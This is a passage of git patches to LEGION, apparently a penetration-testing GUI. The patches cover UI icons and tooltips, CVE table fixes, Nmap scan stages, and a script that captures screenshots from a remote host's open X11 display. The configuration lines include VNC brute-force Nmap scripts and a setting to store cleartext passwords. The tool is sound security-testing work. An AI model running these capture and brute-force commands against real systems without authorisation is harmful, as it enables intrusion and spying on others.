zN)O9h#(R5{+OhNm;(PboBfD&)zTj+V;srvMee#(eT69ydQ@bjbRki5Tk%f^T=U95C z2mQE|*(Cd=Xc|$K4eX}7m?Y$&N8wWi0G1u^GUAZ7%O22!?ctnEkMbZU%C8)Ffif3P zA$Mm4!vv}EkeA|rf1XV-wCL)oxjU(7B*0ApU|}3hc&gCy#Z$}Cy>9HL9t`CF`K85tpY?k+fDZ?OBl>P;uG+ymd~`ihdPP=XF--AKhJuqQJm~sr3yktp!0!jzHq&*TwgUAMSy0M z!0|z&<|D#9-}~78>zq2|k7%xIctB}_7JJAn4QGzjc#_I_lGsvx_#Tphm?{6wM#_xc z=OL08st*NC&Z^HXIW6YSx|h;pg*$_O!245+4`C|BX(cvuArd^+o z2z7)VuUXM(ji>7-Q;3g1#IX6kDdDK*I!acef2^p3jRmGijXrpmqvcUZxzSOMVCRC} zkSfYts5Z|7wV|JJpc-k?h*B^(^o~Y{L<(|}aRjOH1)gQzt*;5$moMQ(w=eBTf(u0z z-888>lT6%DFF8fN7=Rm36`Y!{PH1S_8KjDJUm=t|v~~Q?np*Etx>@-2h=7jT`aCbz ze%usg1*Qlg%%WjT$E}4^jFHmezRX*CyT-pHqnYcj&bl6&h(_&()dNvN`4(kkqy~W= zHdg~%m{HFdi1A5w1!_Xac*a1D{~bExpmGp223pW_yQKKx=(K*b=a8VUYzkyNw6b!U zq5gT=9Q$=96Xb)uZK9O`S^s!wK|}pLVN-utM;J;NlMY?f(}L}>ove1C*Cm4fvlEIR ziNp$WM(ie4?6kh$s~GdY=|eD^v8he_4Ygo3={cuC>r`QDfsRlPsLNybhEkWXPvGh+ zu!nwd^VrF!)kY9cs^z6`|U%s z$2u!^05RjZ~lV`@#c z7ORXh*j5Dkfx=stN+7!*N)EfUgFrW>T7124CDfHXwCH{yc4L{10VO2^}nWSC4^xHU|8 zPT>5awu>YWNE(oFs2iMIs`US}!ar}XSBUU!>z)av?xBhUMl=adk-zZ6F~MaW>;uQd zZGs0QMcgzJY*~s&TI431pCB}-284Ir8EDsC9xD(TnDokS$iS498(#hIwuscZRIvrx zMLAQBVuM%C-2@bo`b?+DnmCfO5VPU!IEBD!mD&78a^@9??N6rl6ELB;xQ@43kyC$P zLF>Vedd?3P#~xii1l&m5%JCRJ>aYcNpd zVQ~f_q26+O>R@Q%&97=R|M^*hzuo~#TQTt+bSA8hy0a1+2N4jF5{VnCk2lwC4Z@wh*_|XGI#4A%PVK0j`#mf{ zej2z`tSgR=sqo!gR}~mrZJkM`0i3lF8X=Ed*=EroSUC_lkSeRl-@kgX(Wh2uL0;jL z1~)@3Fa`*gF2^3js5)G;*F@u#BYQE>IfAU;HlcYS$j%+%*iV4|UTtYUBE~6sv;9V& zDr~^%TMDopIU19Y z&_bquHTpC;gezkMm0q=l+r;zFmw{E`6+vSA6f$&bJlNGxC&xv*%*Mugs>4l563oSw zRni?o4&>X~Ax;^(zyC@2hHfs~sO!D0%%(5<`BX*SBcFQT3Fh|F4s_)fZ?|$gV}bhH zT%YkLc>}PKl<$#(>6fR0cMtqAYC$ueeA&xux(?!0WKOl{LOC%4IctRuDn zAfQi2!;8NMF%5W(bMrccTv93C&wrGQ|GW!(tYZGSK9%@+di>MDDGaJF&qvp4+{-kL z;_Nd++{Bns0^`cRAdH$><(Il$BB}jh2v~amsUnRJC+RzALB)sSY-j_dZ%^bw__L-$2HX8pIsVTBfi>joFgJtTNg?n;7oDQSV{s?g_sV*c~G`(gy*ajs8AM5(sa z7v(51&(yPC6cHB1d<7}!2?dvoweRnX$?A0dQ=Ufj{pIG`ujm8_$jMPg&TksO*bgCc z%MEUSeW-PU|1rtny52wbMH7FSj2{pI0?}Rg6OkI0vy8cQ#(f=PWFn;ST+_DOM`WQL zZ`GF}zIx5jf$s`%8DVg??i<*$9^(lvD!?}E5Mw=9-~y*WXYE~|O=PF@H@c?89Vir@ zzTEU&hy&jH+?+PnnIgV1M7F`LU;H6Aw?ifpV0Zr|fX(>j9YDA%h=sQi@k!D2snJKD z@$U&R15a9h1zYE+2$+kmcpw=p&tFKZROmBbV%4W3mdS4fElv&Ke*BQVaHua>=iK%> z@uG=`tOyFUU5Z$%>${vr^#37Y8}!C3QF=;MjI1^qI@RoLrwf*4*IBs(ZrFEGl96v1 z&5R(%v@OYw?Bd|n{CSW>{(s)AUbtd)pA){qoj#}fTtTZBdmngzARcy?d2a&(@-ri5 zI5944`Ihdd6Ts{Sc_+YXzOWADSf!b}#B;e+SZ`Pw;+Y2IEZ>pj-fqq%G?xcu2jk03^bbtrkc zvi$R8XOFm?Z#b}XXs^X;z9ISa)b6iikt_2@B6Kd%E|e4p)5{3PV$d{<-l=OQ2}SnO zlX+$;L6cwK84X-tyJIEDED?95)c4kh-~o4WZ=Hq!x#n`Y{3R>D!h%kZyb*f9l@vkI zy^N}5E7vWAnn44s!-lWG{7igh@5;45VFm?8|>1N)?#nT$9x@V!pzZR4#@%}_^B>!bq zz+WH)IA)apB`oieNTQ0`l#L#>B_$=FmY4n~LmS4<6QX{?EDf~{V@{Eu(9{1v8~%Ae zYTMP@xSE!!5y$jOSMhqfvC^~8S&%DH00_t*z_22JeeAdxpujI$bNJ3;fwu+Vp43yf1E1f(D+sQ1~() zt_l3{m3xwq&&IfuVqt4C>y+b|D#03elXv_9s8Zr*E>kwn8|EfX)`IOh3VhW;XE5bG*jg-kO9&YWgKmd8G7K*4G`Q0u8OHR({z)d>9~e3 z!QOYHt)7`w{8apOpILcL`0-h~KZkS>7bd40{VnsRq8#&;0C43PU!ER6k(B#~C>v|W zjIZQX{NIA9@-$KG8{%YPA3?KQ>h6WwM+=SEuZ=3b2fX))bE58)w$zA2Kk@W;{i~AI za&G2Nac7r7bl0UDh>o8~Hxi)N%YdBR%p9@BLJ59(+G zv`lV-` z5`cP<5!5oqS->(DCnlw9WxY!uYD^~l5{$#z17PVp_V>n#r2SEvI16zOw{~*88Kf6^ z;6=W%_-_6NnYIgnEbwnIcFDIKGoFf`<#s;18;rYN+jpLs`gft@{?17cIpnLaLN7hDI_ zt6piveS4M*!2Chr&ZFy(ozL_v*eT``puy?;KprCTDW)>5Bir(F#heIr!1C|kyu8J# zEv{b-YF6yzfm?Zt5Q5D z0jRWRU6<$GADIKaMchQK0cF%JZBb{fwOOjxu}}V!e>?i`=L)O7yjm7&;E0kbQ3Z)${QS!I(Yf@QP4_ zyCSZ}e3OY)!fUe$K+0;^OL>4hQDvZ}<3=N50exFce|hZ4Ck->4cId2KkOT?tl;5wgb1cSs@A;>T`(1>S&fBH-$SCC+V|IVHC0hu^ALtRig z(b*pAA1$1NdZt{gQ@Ez$VMYGSIR*NICTC}uh=5czqZ$R5~^=$D{$w0bf; zX7PO6a10ai!CMt#8X4`0@z8{HFS-J%B1v0Gvu|W}Pwq4x^lGc`tSJLL)nMCIlov)1 znF!3R;35fTC}Mb#)=}FbCKm5Sn+>v7*iO5FdQwqFw{KT~U^juUURo7WQm^08?I!Hs zG7UbX?lbH7P*}~AB?Yfg^fQo?h4?0Y03mrCAn1v`T-JSr#E1N))^vpx1wIK<+Q8YK5;NrZ^1)uE?mHxnA`BPHx z@uiM~QJv`3gMhZy7_n>{|D%Tg?147QFHU1v1a`fs(^)hi4d&O6?Eo~KA5A7mpOsW?_AjK?WA&XxSL0o*F`~WWt zn#Wg zdwgU@Qan&tZU-Q|Gwtu>Hhw|$R!yhL&_y%&8;;n@ZC6F_Ky{cQ#7xdYx@n#C-3uCk zo+ncV*nk`>=aKF*5kd101`ZTC1mG}nc+T&?yO^+LbxMY_nC+QxtG)?kXaTnBtL-2 zB&4rlxD;Yk#g9?}c$qAsVuH#Ob8C1c;N6O_?W(HrF-(+fUK`{vEd3J5QD!(tGwnV9 zUqCkMiv-1ZB33I8NmoY(tt4f`~=8U47=n$wozq zYsw&W+~!LcIJt5St7LMP?@DpZF#L3G##8uE)x#Mc=INUU+|Ar0V`H6f+RN+wLI&;t z1NhL)|5B7j-!fWc?%Q_)s6r{zBc{;+sL6JHZtaYNY;KhdsCDT*^U@OGz6Fwt>w#Q0 z@03!-fnqp!V!Frd*oh;#Yo7^e^)|D(ZJ|lhBCfuWwG5C;;hpj>KIhs=!@vCP)5Y~9 zvjjQaC};}WbpRo=NNsYdXGr#c(^uspdbrVNpz5(}fE{fMEN(cSkryMGcw zd%Use)2LB#0R^H#!sa#1R&}WKXeN;TeHgtR?!%^bG5m82ax#!{!j@Y>QcQu~d432q z{ZVOmML<=9eAMXVHK?{?$wVC?AtB)zQm*mH4{4X1Z}3Ba;tS4~hA^-W=6ziQVSJ0# zi=9A$2>ZvJ%OZHedxA_UMkTgd*l#I2eUMT(>^JnYVv?sQP`*OJ6D*->7R3lS5$G_- zgSLQa1L&Uvm?(iW;Nw8$G14_!oV2{WJWo(Y!~90k$N3s6es=JEZY!#^89mQ1@sr|V z(#c|melH`W@&hQ=xeC>{@R;e9xf$8#hA6VbLY*yRM|9<(jXO9o!pBdo=bLwr#CH(+ zH5)#}k7`bW@Y(|1OcYiTJ?sy}-jl^(q1T7%o_vlL?g-t7j+zlZ>YgzyHyq`2z}j0>XX>D2V*yuKFXeOB0MrHnM+pF~pjH;!ir^T^wGe2Dd!eP9uL`468_Fxlj)STsSq$J8eELQM1Ko58 z8RZe6R-?y7nC*?v?NIc1c)v4*Z#&Gio|zvqf^9{(Y-RAz#gDq9ouk?mCbs}^mHHIz z{#Z^olyA%V2`{XsYF7wIDA7zNk3((Su&p3c^t65b@~}X?(DwU8qHcTtBp`9>M707| zJp}hoOr$r+tJyTu`9bO*O=!xM)@k6|JeilN)XZv%a!r#@E$Dh=13&t*-szaRqT3I`XDpD% z)@7?^BErhLjG@B1JRpk6XK1f!8_s&_Ch|hB^<&kplw8k|hqa*6bj`WkIH(%Y7tl;H zL3#-^HzI$JO@hMMJhJ7)v-6N@f;vYN)&XA7-swAFCdw!=lkD(pZ^p+-Rhenk?xe@P zH0komG$j5cv2i5Rh_fE$E=nD)=A+f8H*DDOjI3#$nS_KIPE|}M6<_o59xe}8WSAD0 zj1&Mrf_}Motk?X**{!V0;H-d#RA+xY-!Z{Q<~ny=A4H%_nL4^?zey-m17r$jV&31N z(6f4smo}C}XS8J+fGQC2zQy$#f(=0=w0+utH1=PK2_>l*DrSu8n( z6=CQ;u?xULZ@i}q0wk1C`8P;;&zyNHEH-)dC9>r}ZLMokVL_KOeGvfKJ8X&%>U@cA z0lcTvQwrWl-;oc(CZt;gP%;NXc?4FScH4F-FlcUY)?dFH+zR!-Z86&$O+9|nO%=gP zN0-Z6=_ZG|Dhn z_Ixw(<%(}|%U@DkgE=2=6)ys{zP<)?zQBcnn%+3=tO`B&G;fw@{|xrCmC zg1ex$H_b6TuUyg49}QqJ>(m=$9E%o4?a9L@X(Oi|gSg0upNP-Ic)ms22Oc29HE zbKw65Xwj{T)JK>fATVjGebjf@$%N@OAR~Z0RT%dB$LbNYy7TQh{CBb!AICVQ$ zw8L=94?g!V;6YRLxqV(am`uv8L{u!Du&CtqEyW4nRj6K+v7lVzm#x{(sXzjs( z?>DG(mN>GHy0RON$zz8VWDqK^lc2p9U3(4`o4Y4=(8B%F?wkaB_t(}?8 z^YXbyuM0dgEF%L-(MuJ5gtRRnFyH5qZsyj^#3Cx*|6{0cN6CZDP-N&>QwDr; zkYguj;ur_K--1AXc!}_7^_RKkrmG@OMzRz6+1eb6RsVVrQJO)Yw3w+qJ+;wwOapA6 z4zg$Q{RE!XjWIf)S-km`G@(k#0hRZG<5wAe@_nZd$6!B{s&PR~kdFo?*VGhz8p8Q1 zW9*~~u-AQNgfTO#X;lQ~eBf2)Qhzs7}!@MGg}pr`wD-XjSlw(B|w>XDtWui__Q|=O}bXPR13ti9!8|ZaLwb z07nEky=Vx2j0E4ofPUI*zLjL&fY`Pm_xO#64@`lmP0K>e23Q^8&q47gnDy6hlJxd3 z3_8T$OKHO_On!iGNO9FW`M`7Jrom)$rpx##n zy`ncj_tH`ZKw@7b%fi?%x_XJ|m1*JSFZ<4Ky=r+S@;3X?*?xqu?h1I3MYd3BH_9Md zH_dOhU))9Vgu65>T3`9Yul^7m0e&lK8AE$D(rcBRPR&&dVQX-$hlhN(y4m}9NwqQf Qa1rc~nU(3Q0~hZ850#VvfB*mh literal 0 HcmV?d00001 diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index c37a49d9..53a8e897 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -19,6 +19,11 @@ from six import u as unicode from ui.ancillaryDialog import flipState +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + # dialog shown when the user selects "Add host(s)" from the menu class AddHostsDialog(QtWidgets.QDialog): def __init__(self, parent=None): @@ -233,8 +238,18 @@ def setupLayout(self): self.cmdAddButton = QPushButton('Submit', self) self.cmdAddButton.setMaximumSize(160, 70) + self.addIcon = QtGui.QIcon() + self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.cmdAddButton.setIconSize(QtCore.QSize(19, 19)) + self.cmdAddButton.setIcon(self.addIcon) + self.cmdCancelButton = QPushButton('Cancel', self) self.cmdCancelButton.setMaximumSize(110, 30) + self.cancelIcon = QtGui.QIcon() + self.cancelIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/minus-black.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.cmdCancelButton.setIconSize(QtCore.QSize(19, 19)) + self.cmdCancelButton.setIcon(self.cancelIcon) + self.cmdAddButton.setDefault(True) self.hlayout2 = QtWidgets.QHBoxLayout() self.hlayout2.addWidget(self.cmdAddButton) diff --git a/ui/gui.py b/ui/gui.py index f2a8a119..d23c317c 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -80,16 +80,29 @@ def setupLeftPanel(self): self.HostsTab = QtWidgets.QWidget() self.HostsTab.setObjectName(_fromUtf8("HostsTab")) self.keywordTextInput = QtWidgets.QLineEdit() + self.keywordTextInput.setToolTip('Enter keywords and click apply to filter view') + self.FilterApplyButton = QtWidgets.QToolButton() self.searchIcon = QtGui.QIcon() self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) - self.FilterApplyButton.setIconSize(QtCore.QSize(29, 21)) + self.FilterApplyButton.setIconSize(QtCore.QSize(19, 19)) self.FilterApplyButton.setIcon(self.searchIcon) + self.FilterApplyButton.setToolTip('Apply filters to view') + self.FilterAdvancedButton = QtWidgets.QToolButton() self.advancedIcon = QtGui.QIcon() self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.FilterAdvancedButton.setIconSize(QtCore.QSize(19, 19)) self.FilterAdvancedButton.setIcon(self.advancedIcon) + self.FilterAdvancedButton.setToolTip('Choose advanced filters') + + self.AddHostButton = QtWidgets.QToolButton() + self.addIcon = QtGui.QIcon() + self.addIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/add.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.AddHostButton.setIconSize(QtCore.QSize(19, 19)) + self.AddHostButton.setIcon(self.addIcon) + self.AddHostButton.setToolTip('Add host') + self.vlayout = QtWidgets.QVBoxLayout(self.HostsTab) self.vlayout.setObjectName(_fromUtf8("vlayout")) self.HostsTableView = QtWidgets.QTableView(self.HostsTab) @@ -112,6 +125,7 @@ def setupLeftPanel(self): self.hlayout.addWidget(self.keywordTextInput) self.hlayout.addWidget(self.FilterApplyButton) self.hlayout.addWidget(self.FilterAdvancedButton) + self.hlayout.addWidget(self.AddHostButton) self.vlayout.addLayout(self.hlayout) self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8("")) diff --git a/ui/view.py b/ui/view.py index 7f4df8ed..31e22dc1 100644 --- a/ui/view.py +++ b/ui/view.py @@ -143,6 +143,7 @@ def startConnections(self): # signal ini self.connectScriptTableClick() self.connectToolHostsClick() self.connectAdvancedFilterClick() + self.connectAddHostClick() self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) @@ -581,6 +582,9 @@ def toolHostsClick(self): ### + def connectAddHostClick(self): + self.ui.AddHostButton.clicked.connect(self.connectAddHostsDialog) + def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) @@ -1053,7 +1057,6 @@ def updateScriptsView(self, hostIP): def updateCvesByHostView(self, hostIP): headers = ["HostId", "ID", "Severity", "Product", "Version", "URL", "Source"] cves = self.controller.getCvesFromDB(hostIP) - print(cves) self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) for i in [0]: # hide some columns From 0923d7c77a314d3a09213dabb524fd5986f573d8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 02:13:06 -0600 Subject: [PATCH 148/450] Bump to 0.3.1 --- CHANGELOG.txt | 7 +++++++ controller/controller.py | 4 ++-- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index e640e15a..96ada9cd 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,10 @@ +LEGION 0.3.1 + +* UI polish everywhere (element sizing, scaling, icons, tooltips, etc.) +* Code cleanup +* UI performance improvements +* More port actions + LEGION 0.3.0 * UI polish everywhere (element sizing, scaling, icons, etc.) diff --git a/controller/controller.py b/controller/controller.py index 78f23402..e5daf8c7 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -27,8 +27,8 @@ class Controller(): @timing def __init__(self, view, logic): self.name = "LEGION" - self.version = '0.3.0' - self.build = '1551167145' + self.version = '0.3.1' + self.build = '1551168776' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] From 71b202964b0e50409f3efca9a9a2514fd09661e0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 10:20:40 -0600 Subject: [PATCH 149/450] Add sort arrows to CVE table, fix tooltips, remove hostId on CVE table --- app/cvemodels.py | 31 +++++++++++++------------------ app/logic.py | 2 +- controller/controller.py | 2 +- legion.conf | 2 +- ui/addHostDialog.py | 2 +- ui/view.py | 10 +++++----- 6 files changed, 22 insertions(+), 27 deletions(-) diff --git a/app/cvemodels.py b/app/cvemodels.py index a8e649dc..646246c0 100644 --- a/app/cvemodels.py +++ b/app/cvemodels.py @@ -52,18 +52,16 @@ def data(self, index, role): # this metho row = index.row() column = index.column() if column == 0: - value = self.__cves[row]['id'] - elif column == 1: value = self.__cves[row]['name'] - elif column == 2: + elif column == 1: value = self.__cves[row]['severity'] - elif column == 3: + elif column == 2: value = self.__cves[row]['product'] - elif column == 4: + elif column == 3: value = self.__cves[row]['version'] - elif column == 5: + elif column == 4: value = self.__cves[row]['url'] - elif column == 6: + elif column == 5: value = self.__cves[row]['source'] return value @@ -72,25 +70,22 @@ def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array=[] - if Ncol == 0: - for i in range(len(self.__cves)): - array.append(self.__cves[i]['id']) - elif Ncol == 1: + if Ncol == 0: for i in range(len(self.__cves)): array.append(self.__cves[i]['name']) - elif Ncol == 2: + elif Ncol == 1: for i in range(len(self.__cves)): array.append(self.__cves[i]['severity']) - elif Ncol == 3: + elif Ncol == 2: for i in range(len(self.__cves)): array.append(self.__cves[i]['product']) - elif Ncol == 4: + elif Ncol == 3: for i in range(len(self.__cves)): array.append(self.__cves[i]['version']) - elif Ncol == 5: + elif Ncol == 4: for i in range(len(self.__cves)): array.append(self.__cves[i]['url']) - elif Ncol == 6: + elif Ncol == 5: for i in range(len(self.__cves)): array.append(self.__cves[i]['source']) @@ -107,9 +102,9 @@ def flags(self, index): # method tha ### getter functions ### def getCveDBIdForRow(self, row): - return self.__cves[row]['id'] + return self.__cves[row]['name'] def getRowForDBId(self, id): for i in range(len(self.__cves)): - if self.__cves[i]['id'] == id: + if self.__cves[i]['name'] == id: return i diff --git a/app/logic.py b/app/logic.py index f33d7215..ecce9ba2 100644 --- a/app/logic.py +++ b/app/logic.py @@ -251,7 +251,7 @@ def getScriptsFromDB(self, hostIP): ## FIX def getCvesFromDB(self, hostIP): - query = ('SELECT hosts.id, cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source FROM cve AS cves ' + + query = ('SELECT cves.name, cves.severity, cves.product, cves.version, cves.url, cves.source FROM cve AS cves ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = cves.host_id ' + 'WHERE hosts.ip=?') diff --git a/controller/controller.py b/controller/controller.py index e5daf8c7..2bb748a3 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.1' - self.build = '1551168776' + self.build = '1551198005' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/legion.conf b/legion.conf index 8c96a4a7..d5d1aa2b 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,55,92,32,0,124,132,0,0,0,0,0,0,0,658,100" +process-tab-column-widths="125,0,55,92,32,0,124,132,0,0,0,0,0,0,0,606,100" process-tab-detail=False [GeneralSettings] diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index 53a8e897..9a5dba96 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -199,7 +199,7 @@ def setupLayout(self): self.rdoScanOptPingSyn.setToolTip('TCP Ping that sends SYN packets instead of ACK packets [-PT -PS]') self.rdoScanOptPingAck = QtWidgets.QRadioButton(self) self.rdoScanOptPingAck.setText('TCP ACK') - self.rdoScanOptPingAck.setToolTip('TCP Ping that sends SYN packets instead of ACK packets [-PT]') + self.rdoScanOptPingAck.setToolTip('TCP Ping that sends ACK packets instead of SYN packets [-PT]') self.rdoScanOptPingTimeStamp = QtWidgets.QRadioButton(self) self.rdoScanOptPingTimeStamp.setText('Timestamp') self.rdoScanOptPingTimeStamp.setToolTip('ICMP Timestamp Request [-PP]') diff --git a/ui/view.py b/ui/view.py index 31e22dc1..8cd03e1e 100644 --- a/ui/view.py +++ b/ui/view.py @@ -180,8 +180,9 @@ def initTables(self): # this funct setTableProperties(self.ui.ServiceNamesTableView, len(headers)) # cves table (right) - headers = ["HostId", "Id", "Severity", "Product", "Version", "URL", "Source"] + headers = ["Id", "Severity", "Product", "Version", "URL", "Source"] setTableProperties(self.ui.CvesTableView, len(headers)) + self.ui.CvesTableView.setSortingEnabled(True) # tools table (left) headers = ["Progress", "Display", "Pid", "Tool", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] @@ -1055,13 +1056,11 @@ def updateScriptsView(self, hostIP): self.scriptTableClick() def updateCvesByHostView(self, hostIP): - headers = ["HostId", "ID", "Severity", "Product", "Version", "URL", "Source"] + headers = ["ID", "Severity", "Product", "Version", "URL", "Source"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self,self.controller.getCvesFromDB(hostIP), headers) - for i in [0]: # hide some columns - self.ui.CvesTableView.setColumnHidden(i, True) - self.ui.CvesTableView.horizontalHeader().resizeSection(5,200) + self.ui.CvesTableView.horizontalHeader().resizeSection(4,200) self.ui.CvesTableView.setModel(self.CvesTableModel) self.ui.CvesTableView.repaint() @@ -1193,6 +1192,7 @@ def updateProcessesTableView(self): # Force size of progress animation self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(15, 125) # Update animations self.updateProcessesIcon() From 1ad662bf56a5956718164e77cc1a480a63af9b71 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 10:38:02 -0600 Subject: [PATCH 150/450] Update x11screen script to put captured imaged in session data path and only open eog when a capture was successful --- controller/controller.py | 2 +- legion.conf | 4 ++-- scripts/x11screenshot.sh | 13 +++++++++++-- 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 2bb748a3..59a9b975 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.1' - self.build = '1551198005' + self.build = '1551199043' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/legion.conf b/legion.conf index d5d1aa2b..4e415d72 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,55,92,32,0,124,132,0,0,0,0,0,0,0,606,100" +process-tab-column-widths="125,0,55,92,32,0,124,130,0,0,0,0,0,0,0,608,100" process-tab-detail=False [GeneralSettings] @@ -270,7 +270,7 @@ vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --s vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], diff --git a/scripts/x11screenshot.sh b/scripts/x11screenshot.sh index 7df902ef..ef64ca66 100644 --- a/scripts/x11screenshot.sh +++ b/scripts/x11screenshot.sh @@ -23,11 +23,20 @@ if [ "$3" == "" ] OUTFOLDER="/tmp" else OUTFOLDER="$3" + if [ ! -d "$OUTFOLDER" ] + then + mkdir $OUTFOLDER + fi fi echo "xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd" xwd -root -screen -silent -display $IP:$DSP > $OUTFOLDER/x11screenshot-$IP.xwd + echo "convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg" convert $OUTFOLDER/x11screenshot-$IP.xwd $OUTFOLDER/x11screenshot-$IP.jpg -echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" -eog $OUTFOLDER/x11screenshot-$IP.jpg + +if [ -f "$OUTFOLDER/x11screenshot-$IP.jpg" ] +then + echo "eog $OUTFOLDER/x11screenshot-$IP.jpg" + eog $OUTFOLDER/x11screenshot-$IP.jpg +fi From da46975943d2fe407fe8072a1ca5c268bc2a63b8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 11:26:51 -0600 Subject: [PATCH 151/450] Change Nmap stages from 1-5 to 1-6 isolating stage 3 for vulners CVE scan --- app/logic.py | 14 +- app/settings.py | 9 +- controller/controller.py | 24 ++- legion.conf | 9 +- legion.max.conf | 389 --------------------------------------- 5 files changed, 28 insertions(+), 417 deletions(-) delete mode 100644 legion.max.conf diff --git a/app/logic.py b/app/logic.py index ecce9ba2..9d6b2827 100644 --- a/app/logic.py +++ b/app/logic.py @@ -706,20 +706,14 @@ def run(self): # it is nece if not db_os: t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) session.add(t_nmap_os) - ## CVE - #osCves = self.getCveFuzzy(os.name) - #print(osCves) - #for osCve in osCves: - # print(osCve) - # t_cve = cve(name = osCve, url = "http://test", criteria = 'crit:test', fingerprint = 'fing:test') - # session.add(t_cve) - #session.commit() - # t_cve = None + createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress self.importProgressWidget.setProgress(int(totalprogress)) self.importProgressWidget.show() + session.commit() + all_ports = h.all_ports() self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports @@ -747,7 +741,6 @@ def run(self): # it is nece session.add(db_port) createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createPortsProgress - #self.tick.emit(int(totalprogress)) self.importProgressWidget.setProgress(totalprogress) self.importProgressWidget.show() @@ -769,7 +762,6 @@ def run(self): # it is nece for cveEntry in cveResults: t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version, hostId = db_host.id) session.add(t_cve) - session.commit() if not db_script: # if this script object doesn't exist, create it t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) diff --git a/app/settings.py b/app/settings.py index 3598af5c..2bb98378 100644 --- a/app/settings.py +++ b/app/settings.py @@ -173,6 +173,7 @@ def backupAndSave(self, newSettings, saveBackup = True): self.actions.setValue('stage3-ports', newSettings.tools_nmap_stage3_ports) self.actions.setValue('stage4-ports', newSettings.tools_nmap_stage4_ports) self.actions.setValue('stage5-ports', newSettings.tools_nmap_stage5_ports) + self.actions.setValue('stage6-ports', newSettings.tools_nmap_stage6_ports) self.actions.endGroup() self.actions.beginGroup('GUISettings') @@ -228,9 +229,10 @@ def __init__(self, appSettings=None): # tools self.tools_nmap_stage1_ports = "T:80,443" self.tools_nmap_stage2_ports = 